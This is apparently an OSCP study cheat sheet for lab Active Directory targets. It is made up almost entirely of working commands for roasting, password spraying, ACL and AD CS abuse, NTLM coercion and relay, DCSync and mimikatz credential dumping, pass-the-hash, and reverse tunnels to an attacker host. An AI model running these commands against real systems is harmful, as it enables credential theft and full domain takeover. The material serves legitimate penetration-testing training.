nxc smb $IP -u user -p pass --shares --users --groups --pass-pol --loggedon-users
nxc smb $IP -u user -p pass --rid-brute 10000 # enumerate users by RID when --users is thin
nxc smb $IP -u user -p pass --sessions --computers
nxc ldap $IP -u user -p pass --query "(objectClass=user)" "" # raw LDAP queries
# Impacket / ldap dumps
impacket-GetADUsers -all target.htb/user:pass -dc-ip $IP # users + last logon + pwd-last-set
ldapdomaindump -u 'target.htb\user' -p pass $IP -o ldd/ # HTML/JSON of the whole dir
enum4linux-ng -A -u user -p pass $IP
# PowerView (Windows shell)
. .\PowerView.ps1
Get-DomainUser | select samaccountname,description,memberof
Get-DomainGroup "Domain Admins" | Get-DomainGroupMember
Get-DomainComputer -Properties dnshostname,operatingsystem
Find-LocalAdminAccess # where current user is local admin
Find-DomainUserLocation # where high-value users have sessions
Always read user description fields and every readable SMB share - creds hide in both. Re-enumerate (and re-collect BloodHound) as each NEW identity you compromise; visibility and attack paths change with each cred.
# Collect (Linux, remote)
bloodhound-python -u user -p pass -d target.htb -ns $IP -c all --zip
nxc ldap $IP -u user -p pass --bloodhound -c all --dns-server $IP
# Collect (Windows, on a foothold)
.\SharpHound.exe -c All --zipfilename bh.zip
BloodHound CE runs in Docker (Neo4j + the web UI); import the zip, then mark every compromised principal "Owned" and run "Shortest Path from Owned Principals" before touching any other view. Prioritize edges that are actionable (AdminTo, CanRDP, CanPSRemote, HasSession, GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword, AddKeyCredentialLink, AddAllowedToAct) over plain group membership. Re-import after each new owned account - the owned-set drives the pathing. Useful pre-built queries: Shortest Paths to Domain Admins, Find Principals with DCSync Rights, Find AS-REP Roastable Users, Find Kerberoastable Members of High-Value Groups, Shortest Path to Unconstrained Delegation.
Custom Cypher worth keeping (CE uses system_tags CONTAINS "owned" for the owned set, legacy used owned:true):
// Shortest path from any owned principal to Domain Admins
MATCH p=shortestPath((u {system_tags:"owned"})-[*1..]->(g:Group)) WHERE g.name STARTS WITH "DOMAIN ADMINS@" RETURN p
// Kerberoastable users with a path to a high-value group
MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {highvalue:true})) RETURN p
// AS-REP roastable (no pre-auth)
MATCH (u:User {dontreqpreauth:true,enabled:true}) RETURN u.name
// Accounts with PASSWORD_NOT_REQUIRED (often empty password)
MATCH (u:User {enabled:true,passwordnotreqd:true}) RETURN u.name
// Principals that can DCSync the domain
MATCH (n)-[:GetChanges|GetChangesAll|DCSync]->(d:Domain) RETURN n.name
// Unsupported / legacy OS computers (soft targets for local privesc)
MATCH (c:Computer {enabled:true}) WHERE c.operatingsystem =~ '(?i).*(2003|2008|xp|vista|7| me).*' RETURN c.name,c.operatingsystem
// Where is the current user local admin
MATCH p=(u:User {name:"[email protected]"})-[:AdminTo|MemberOf*1..]->(c:Computer) RETURN p
rpcclient -U "" -N $IP # null session
# inside: enumdomusers ; queryuser 0x<rid> ; enumdomgroups ; querygroupmem 0x<rid>
# getdompwinfo (lockout policy!) ; lsaenumsid ; lookupnames administrator ; netshareenum
rpcclient -U "target.htb\guest%" $IP # guest session
nxc smb $IP -u '' -p '' --rid-brute # RID cycle for usernames over a null session
kerbrute userenum -d target.htb --dc $IP users.txt # valid usernames, no creds (Kerberos pre-auth timing)
# pre-Windows-2000 / blank machine passwords (lowercased computer name as pass):
nxc smb $IP -u 'OLDPC$' -p 'oldpc' --local-auth
# anonymous LDAP (sometimes leaks users + descriptions)
ldapsearch -x -H ldap://$IP -b "DC=target,DC=htb" "(objectClass=user)" sAMAccountName description
Parse harvested descriptions for passwords; feed valid usernames into AS-REP roast and spraying below.
# AS-REP roast (DONT_REQ_PREAUTH) - usernames only, no creds needed
impacket-GetNPUsers target.htb/ -dc-ip $IP -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt
nxc ldap $IP -u user -p pass --asreproast asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# Kerberoast (any valid domain cred -> SPN accounts' TGS hashes)
impacket-GetUserSPNs target.htb/user:pass -dc-ip $IP -request -outputfile kerb.txt
nxc ldap $IP -u user -p pass --kerberoasting kerb.txt
hashcat -m 13100 kerb.txt rockyou.txt
# Password spray - ALWAYS pull the lockout policy first (--pass-pol / getdompwinfo)
nxc smb $IP -u users.txt -p 'Autumn2025!' --continue-on-success
kerbrute passwordspray -d target.htb --dc $IP users.txt 'Welcome1'
# Reuse a single cracked/known password across all users (credential stuffing)
nxc smb $IP -u users.txt -p 'CrackedPass!' --no-bruteforce --continue-on-success
Lockout discipline: if the policy shows a threshold (e.g. 5 bad attempts / 30 min), spray ONE password per round and wait out the window. A locked-out exam account is hours lost.
This is the heart of the assumed-breach chain - BloodHound hands you the edge, this section is what to type. Map the edge to the abuse:
| Edge / right | Over a... | Abuse |
|---|---|---|
ForceChangePassword | user | Reset their password (no knowledge of old one) |
GenericAll / GenericWrite | user | Set an SPN -> targeted Kerberoast, or write KeyCredentialLink (shadow creds) |
GenericAll / AddMember / AddSelf | group | Add yourself / a controlled account to the group |
GenericAll / GenericWrite | computer | Shadow credentials, or configure RBCD (5.7) |
WriteDacl | object / domain | Grant yourself GenericAll (or DCSync rights on the domain) |
WriteOwner | object | Make yourself owner, then grant GenericAll |
AddKeyCredentialLink | user / computer | Shadow credentials -> PKINIT (5.6) |
AddAllowedToAct | computer | RBCD takeover (5.7) |
GenericAll on GPO / WriteGPLink | GPO/OU | Push a malicious GPO to linked objects (immediate-task / script) |
Linux-first tooling (Kerberos auth via ccache when needed: -k):
# ForceChangePassword
bloodyAD --host dc.target.htb -d target.htb -u me -p pass set password victim 'NewPass123!'
net rpc password "victim" "NewPass123!" -U "target.htb"/"me"%"pass" -S $IP
# Add yourself to a group (instant WinRM if the group nests into Remote Management Users)
bloodyAD --host dc.target.htb -d target.htb -u me -p pass add groupMember "Target Group" me
# Targeted Kerberoast (GenericWrite on a user): write an SPN, roast, then clean up
bloodyAD --host dc.target.htb -d target.htb -u me -p pass set object victim serviceprincipalname -v 'fake/svc'
impacket-GetUserSPNs target.htb/me:pass -dc-ip $IP -request-user victim -outputfile kerb.txt
bloodyAD --host dc.target.htb -d target.htb -u me -p pass set object victim serviceprincipalname -v ''
# WriteDacl -> grant yourself GenericAll, or DCSync on the domain
impacket-dacledit -action write -rights FullControl -principal me -target victim 'target.htb/me:pass'
impacket-dacledit -action write -rights DCSync -principal me -target-dn 'DC=target,DC=htb' 'target.htb/me:pass'
bloodyAD --host dc.target.htb -d target.htb -u me -p pass add dcsync me
# WriteOwner -> take ownership, then grant rights
impacket-owneredit -action write -new-owner me -target victim 'target.htb/me:pass'
impacket-dacledit -action write -rights FullControl -principal me -target victim 'target.htb/me:pass'
# Re-enable a disabled account you now control
bloodyAD --host dc.target.htb -d target.htb -u me -p pass remove uac victim -f ACCOUNTDISABLE
Windows / PowerView equivalents:
$cred = New-Object System.Management.Automation.PSCredential('target\me',(ConvertTo-SecureString 'pass' -AsPlainText -Force))
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Credential $cred
Add-DomainGroupMember -Identity 'Target Group' -Members me -Credential $cred
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/svc'} -Credential $cred # then Rubeus kerberoast /user:victim
Add-DomainObjectAcl -TargetIdentity 'DC=target,DC=htb' -PrincipalIdentity me -Rights DCSync # WriteDacl on domain
Persistence note (handy on long AD chains, document it in the report): GenericAll on AdminSDHolder propagates to every protected group via SDProp roughly hourly - bloodyAD ... add genericAll 'CN=AdminSDHolder,CN=System,DC=target,DC=htb' me.
Surface: you hold GenericAll/GenericWrite/AddKeyCredentialLink over a user or computer, the DC is Server 2016+, and AD CS with PKINIT is present. You write a certificate to the target's msDS-KeyCredentialLink, then authenticate as that principal via Kerberos PKINIT and recover its NT hash - no password reset (quieter, reversible).
# certipy - one-shot (adds the key, authenticates, returns the NT hash)
certipy shadow auto -u [email protected] -p pass -account victim -dc-ip $IP
# bloodyAD - emits PFX + password + NT hash
bloodyAD --host dc.target.htb -d target.htb -u me -p pass add shadowCredentials victim
# pywhisker + PKINITtools (manual, when the above are unavailable)
pywhisker -d target.htb -u me -p pass --target victim --action add # -> victim.pfx + pass
gettgtpkinit.py target.htb/victim -cert-pfx victim.pfx -pfx-pass <pass> victim.ccache
export KRB5CCNAME=victim.ccache
getnthash.py -key <AS-REP-key> target.htb/victim # NT hash from the PKINIT TGT
Computer-account variant: writing shadow creds to a computer object gives you that machine account's hash/TGT - frequently the cleanest GenericAll-on-computer takeover when RBCD is fiddly.
Surface: GenericWrite/GenericAll/AddAllowedToAct over a computer object. You point that computer's msDS-AllowedToActOnBehalfOfOtherIdentity at an account you control, then use S4U to mint a ticket impersonating any user (e.g. Administrator) to a service on the target.
# 1. Need a controlled account WITH an SPN. If MachineAccountQuota > 0 (default 10), make one:
nxc ldap $IP -u user -p pass -M maq # check the quota
impacket-addcomputer target.htb/user:pass -dc-ip $IP -computer-name 'EVIL$' -computer-pass 'CompPass123!'
# 2. Configure RBCD on the victim computer
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'VICTIM$' -action write target.htb/user:pass -dc-ip $IP
bloodyAD --host dc.target.htb -d target.htb -u user -p pass add rbcd 'VICTIM$' 'EVIL$' # alt
# 3. S4U: impersonate Administrator to a service on VICTIM
impacket-getST -spn cifs/victim.target.htb -impersonate administrator 'target.htb/EVIL$:CompPass123!' -dc-ip $IP
# 4. Use the ticket
export KRB5CCNAME=administrator@[email protected]
impacket-psexec -k -no-pass victim.target.htb
If MachineAccountQuota is 0, use any existing account you control that has an SPN (or add one to a user you own), rather than creating a computer.
If a CA is present (certipy find shows a Certificate Authority, or nxc ldap $IP -u user -p pass -M adcs lists one), enumerate templates for misconfigurations. AD CS is "privilege escalation as a service" - a single vulnerable template often jumps a low-priv user straight to domain compromise.
# Enumerate (kali package is certipy-ad; binary is certipy)
certipy find -u [email protected] -p pass -dc-ip $IP -vulnerable -stdout
certipy find -u [email protected] -p pass -dc-ip $IP -vulnerable -enabled # text + JSON + BloodHound files
ESC1 (template lets the enrollee supply the SAN, has a client-auth EKU, and Domain Users can enroll) - the bread-and-butter case, and now in PEN-200 scope:
# Request a cert AS the administrator by setting the UPN/SAN
certipy req -u [email protected] -p pass -dc-ip $IP -target dc.target.htb \
-ca 'TARGET-CA' -template 'VulnTemplate' -upn [email protected]
# Authenticate with the issued PFX -> recover NT hash AND a TGT
certipy auth -pfx administrator.pfx -dc-ip $IP
# -> use the NT hash for PtH, or KRB5CCNAME=administrator.ccache for psexec -k -no-pass
Other ESCs (rarer on the exam, but certipy find -vulnerable flags them):
ESC2 Any-Purpose EKU template -> request, use cert broadly (similar flow to ESC1)
ESC3 Enrollment Agent EKU -> request on-behalf-of another user
ESC4 Write access to a template -> certipy template ... rewrite it into ESC1, then ESC1 it
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 on CA -> any template becomes SAN-spoofable (request with -upn)
ESC8 HTTP web-enrollment + NTLM relay -> see 5.9 (coerce a DC, relay to /certsrv, get a DC cert)
ESC11 ICPR RPC enrollment + NTLM relay -> certipy relay -target rpc://CA ...
ESC4 rewrite example: certipy template -u [email protected] -p pass -template VulnTemplate -save-old (makes it ESC1), exploit as ESC1, then restore with the saved config.
Exam caveat first: Responder LLMNR/NBT-NS/mDNS poisoning is banned. Coercion (forcing a specific machine to authenticate to you) plus ntlmrelayx is a distinct mechanism that PEN-200's AD CS material covers, but the rules around relay/coercion shift between exam versions - confirm against the current OffSec Exam Guide before relying on it on test day. mitm6 (DHCPv6 spoofing) is broadly disruptive and best avoided on the exam.
Coercion tools (force the DC/target to auth to $LHOST):
printerbug.py target.htb/user:pass@$DC_IP $LHOST # MS-RPRN spooler
PetitPotam.py -u user -p pass $LHOST $DC_IP # MS-EFSRPC
coercer coerce -u user -p pass -t $DC_IP -l $LHOST # tries many methods
dfscoerce.py -u user -p pass $LHOST $DC_IP # MS-DFSNM
Relay targets (run ntlmrelayx first, then coerce):
# Relay to LDAPS -> add a computer (for RBCD) or dump the directory
impacket-ntlmrelayx -t ldaps://$DC_IP --add-computer 'EVIL$' 'CompPass123!' -smb2support
impacket-ntlmrelayx -t ldaps://$DC_IP --escalate-user me -smb2support # grant DCSync to 'me'
# Relay coerced DC auth to AD CS web enrollment (ESC8) -> DC certificate
impacket-ntlmrelayx -t http://ca.target.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
certipy relay -target 'http://ca.target.htb' -template DomainController # certipy's built-in relay
# Then: certipy auth -pfx dc.pfx -dc-ip $IP -> DC hash -> DCSync
# Relay to SMB on another host where the coerced account is local admin
impacket-ntlmrelayx -t smb://$OTHER_HOST -smb2support -c "whoami"
# Dump secrets (needs admin on the target)
impacket-secretsdump 'target.htb/user:pass@'$IP
impacket-secretsdump -hashes :NThash 'target.htb/user@'$IP
nxc smb $IP -u user -p pass --sam --lsa
# Pass-the-Hash / Pass-the-Password lateral exec
nxc smb <subnet> -u user -H NThash # spray the hash across hosts ("Pwn3d!")
impacket-psexec target.htb/user@$IP -hashes :NThash # noisy, drops a service binary
impacket-wmiexec target.htb/user@$IP -hashes :NThash # quieter, no binary on disk
impacket-smbexec / impacket-atexec / impacket-dcomexec # alternates if psexec/wmiexec are blocked
evil-winrm -i $IP -u user -H NThash # if WinRM open
# Overpass-the-hash / Pass-the-Ticket
impacket-getTGT target.htb/user -hashes :NThash ; export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass target.htb/[email protected]
# DCSync (needs Replication-Get-Changes[-All] rights / DA-equivalent ACL)
impacket-secretsdump -just-dc target.htb/user:pass@$IP # all domain hashes
impacket-secretsdump -just-dc-user krbtgt target.htb/user:pass@$IP # just krbtgt
nxc smb $IP -u user -p pass -M ntdsutil # if already admin
# Once you hold Administrator / DA NT hash:
impacket-psexec -hashes :<admin_nthash> administrator@<dc_ip>
# Tickets (usually overkill for the exam - prefer DCSync -> admin hash -> psexec)
# Golden: forge a TGT from the krbtgt hash. Silver: forge a service TGS from a service-account hash.
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain target.htb administrator
:: mimikatz
privilege::debug
sekurlsa::logonpasswords :: plaintext + NTLM from LSASS
sekurlsa::ekeys :: kerberos keys -> PtT / overpass-the-hash
lsadump::sam :: local SAM | lsadump::cache (cached domain creds)
lsadump::dcsync /user:target\krbtgt
vault::cred / sekurlsa::dpapi :: stored / DPAPI creds
:: Offline (SeDebug): procdump -accepteula -ma lsass.exe l.dmp -> pypykatz lsa minidump l.dmp
:: Rubeus (preferred when AV eats mimikatz)
Rubeus.exe asktgt /user:victim /rc4:<NThash> /ptt
Rubeus.exe kerberoast /nowrap
Rubeus.exe asreproast /nowrap
Rubeus.exe s4u /user:EVIL$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/victim /ptt
Rubeus.exe monitor /interval:5 :: harvest TGTs from coerced unconstrained-delegation auths
Snaffler.exe -s -o snaffler.log # hunt shares for creds/keys/configs (Windows)
nxc smb <subnet> -u u -p p -M spider_plus # spider readable shares (JSON of everything readable)
manspider <subnet> -u u -p p -c password # grep file CONTENTS across all shares
# GPP cached creds in SYSVOL (Groups.xml etc.) -> decrypt the static-key AES blob:
nxc smb $IP -u u -p p -M gpp_password ; gpp-decrypt <cpassword>
# LAPS local-admin passwords (if your account can read them):
nxc ldap $IP -u u -p p -M laps
# gMSA managed-password blob (ReadGMSAPassword edge):
nxc ldap $IP -u u -p p --gmsa
gMSADumper.py -u u -p p -d target.htb
# Unconstrained (computer/DC with TRUSTED_FOR_DELEGATION): coerce a privileged auth, capture its TGT
# on the unconstrained host: Rubeus.exe monitor ; then printerbug/PetitPotam the DC to it -> DC TGT
# Constrained (TRUSTED_TO_AUTH_FOR_DELEGATION + msDS-AllowedToDelegateTo): S4U impersonation
impacket-getST -spn cifs/victim.target.htb -impersonate administrator 'target.htb/svc:pass' -dc-ip $IP
# RBCD: see 5.7 (write-access-on-computer path)
Find delegation in BloodHound ("Shortest Path to Unconstrained Delegation") or via LDAP: Get-DomainComputer -Unconstrained / Get-DomainUser -TrustedToAuth. Note scope before sinking time - unconstrained printerbug chains are usually beyond core OSCP.
nxc ldap $IP -u user -p pass -M enum_trusts
impacket-GetADUsers ... # enumerate the trusting domain once you have a foothold
# Cross-domain: SID history / krbtgt of a child for an enterprise-admin golden ticket.
Flag, don't chase, unless an exam box explicitly bridges two domains.
KRB_AP_ERR_SKEW): sudo ntpdate $DC or sudo rdate -n $DC; certipy/impacket also accept the host's time. Off by more than 5 minutes and every Kerberos op fails./etc/hosts; Kerberos needs names, not IPs (dc.target.htb, target.htb).export KRB5CCNAME=user.ccache then -k -no-pass on impacket, --use-kcache on nxc, -k on bloodyAD/certipy.--local-auth on nxc for local (non-domain) SAM accounts.-sT for any nmap), since MSF can't pivot here.EXEC ('xp_cmdshell ...') AT [LINKED].Core drills, expect to use these: AS-REP roast, Kerberoast (incl. targeted), password spray, the full ACL/DACL edge set (ForceChangePassword / GenericAll / GenericWrite / WriteDacl / WriteOwner / AddMember), shadow credentials, RBCD, PtH/PtT lateral movement, secretsdump, DCSync. PEN-200's 2024 refresh folded AD CS into the syllabus, so treat ESC1 as in-scope and know the certipy find -> req -> auth flow cold. AD CS relay paths (ESC8/ESC11) and coercion+ntlmrelayx are taught but sit in a grey zone with the no-Responder-poisoning rule - confirm the current Exam Guide. Generally above scope (skip unless a box forces it): RODC golden tickets, KeyList attacks, the more advanced ESCs, unconstrained-delegation printerbug chains, and cross-trust hopping. (That's the exam line specifically; HTB/CTF work runs well past it.)
Needed to reach AD hosts behind a foothold and internal-only services. Metasploit is NOT allowed for pivoting - use the below.
# On YOUR box (proxy/server):
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert # listener on :11601
# after agent connects, add route to the internal subnet:
sudo ip route add 10.10.20.0/24 dev ligolo
# On the FOOTHOLD host (agent):
./agent -connect $LHOST:11601 -ignore-cert
# In ligolo console: session ; start -> reach 10.10.20.0/24 directly with ANY tool
# Expose a local listener to the agent network (for reverse shells back):
# listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443
# Your box (server):
./chisel server -p 8000 --reverse
# Foothold (client) -> reverse SOCKS5:
./chisel client $LHOST:8000 R:1080:socks
# Then proxychains everything (/etc/proxychains4.conf -> socks5 127.0.0.1 1080):
proxychains nxc smb 10.10.20.0/24 -u user -p pass
proxychains nmap -sT -Pn 10.10.20.5
# Forward a single internal port out instead of SOCKS:
./chisel client $LHOST:8000 R:3389:10.10.20.5:3389
ssh -L 8080:127.0.0.1:8080 user@$IP # local: hit target's internal :8080 on your 8080
ssh -R 9001:127.0.0.1:9001 user@$IP # remote: expose your service to target
ssh -D 1080 user@$IP # dynamic SOCKS -> proxychains
ssh -fN -L ... # background, no shell
ssh -L 3389:10.10.20.5:3389 user@$IP # reach a 3rd host through the SSH host
sshuttle -r user@$IP 10.10.20.0/24 --ssh-cmd "ssh -i key"
:: No nmap on the pivot host? scan from PowerShell (LOLBin):
powershell -c "1..1024 | % { if((New-Object Net.Sockets.TcpClient).ConnectAsync('10.10.20.5',$_).Wait(200)){\"$_ open\"} }"
Test-NetConnection -Port 445 10.10.20.5
:: plink (CLI PuTTY) reverse tunnel when no OpenSSH:
plink.exe -ssh -l kali -pw PASS -R 127.0.0.1:3389:10.10.20.5:3389 $LHOST
:: netsh portproxy:
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.10.20.5
:: socat relay (if available)
socat TCP-LISTEN:8080,fork TCP:10.10.20.5:80
Use -sT (TCP connect) with nmap over proxychains; SYN scans don't work. Set proxy_dns off for speed; lower timeouts in the conf if scans crawl.
hashid '<hash>' ; hash-identifier ; nth '<hash>' # name-that-hash
A mode mismatch quietly wastes an entire crack run - identify first.
hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m <mode> hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat --show -m <mode> hashes.txt # display cracked
Common modes: 0 MD5, 100 SHA1, 1400 SHA256, 1700 SHA512, 1800 sha512crypt ($6$), 500 md5crypt ($1$), 1600 Apache $apr1$, 3200 bcrypt, 1000 NTLM, 5600 NetNTLMv2, 13100 Kerberoast TGS, 18200 AS-REP, 16500 JWT, 13400 KeePass (kdbx), 13000 RAR5, 17200/13600 ZIP.
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
# format conversions (the *2john tools):
ssh2john id_rsa > h ; keepass2john f.kdbx > h ; zip2john f.zip > h
office2john doc.docx > h ; pdf2john f.pdf > h ; gpg2john ...
john --wordlist=rockyou.txt h
hydra -l user -P rockyou.txt $IP ssh -t 4
hydra -L users.txt -P pass.txt $IP smb
hydra -l admin -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
hydra -l user -P pass.txt ftp://$IP
unshadow /etc/passwd /etc/shadow > combined
john --wordlist=rockyou.txt combined # or hashcat -m 1800 for $6$
cewl http://$IP -w words.txt -d 3 -m 5 # from website
hashcat --stdout words.txt -r rules/best64.rule | sort -u > big.txt # variations
./username-anarchy Firstname Lastname # username lists from names
Reminder: SQLMap and other auto-exploit tools stay banned on the exam - this is offline cracking only.
No points without it - don't fumble the deliverable.
local.txt proof -> privesc steps -> proof.txt proof.whoami/id/ipconfig + the target IP in frame.21 FTP | 22 SSH | 23 Telnet | 25 SMTP | 53 DNS | 80/443 HTTP(S) | 88 Kerberos(DC)
110 POP3 | 111 RPC/NFS | 135/139/445 SMB-RPC | 143 IMAP | 161 SNMP(UDP) | 389/636 LDAP
1433 MSSQL | 3306 MySQL | 3389 RDP | 5432 Postgres | 5985/5986 WinRM | 6379 Redis
Seeing 88 + 389 + 445 + 5985 together = Domain Controller. 53 + 88 too.
nmap -> /etc/hosts -> per-port enum -> web dirbust -> identify version/CVE/default creds
-> FOOTHOLD (web exploit / public exploit / creds) -> stabilize shell -> screenshot local.txt
-> linpeas/winpeas + manual -> sudo -l / whoami /priv FIRST
-> PRIVESC -> screenshot proof.txt -> document + move on
AD: given creds -> bloodhound -> roast/ACL/spray -> lateral (PtH) -> secretsdump -> DCSync -> DA
description?sudo -l / whoami /priv done? GTFOBins/LOLBAS the binary?ss -tlnp / netstat -ano you haven't forwarded out?.git? source via php filter?name + version + "exploit".python3 -c 'import pty;pty.spawn("/bin/bash")' ; Ctrl+Z ; stty raw -echo; fg ; export TERM=xterm
impacket-secretsdump 'dom/user:pass@IP' # dump
impacket-wmiexec dom/user@IP -hashes :NThash # use the hash
evil-winrm -i IP -u user -H NThash
HackTricks (book.hacktricks.xyz), GTFOBins, LOLBAS, PayloadsAllTheThings, revshells.com cheats, hashcat mode table, Impacket/nxc help dumps, your own per-box notes. Keep binaries staged: linpeas, winPEASany, pspy64, chisel (lin+win), ligolo (proxy+agent), PrintSpoofer64, GodPotato, JuicyPotatoNG, PowerView, SharpHound, mimikatz, PwnKit.
The companion repo with every phase as a standalone file: https://github.com/resux1338/OSCP-2026-Cheatsheet
Always confirm the current exam rules on the official guide before sitting - restricted-tool lists change. AI tools are not permitted during the live exam or the report phase; this is offline notes.
End of compendium.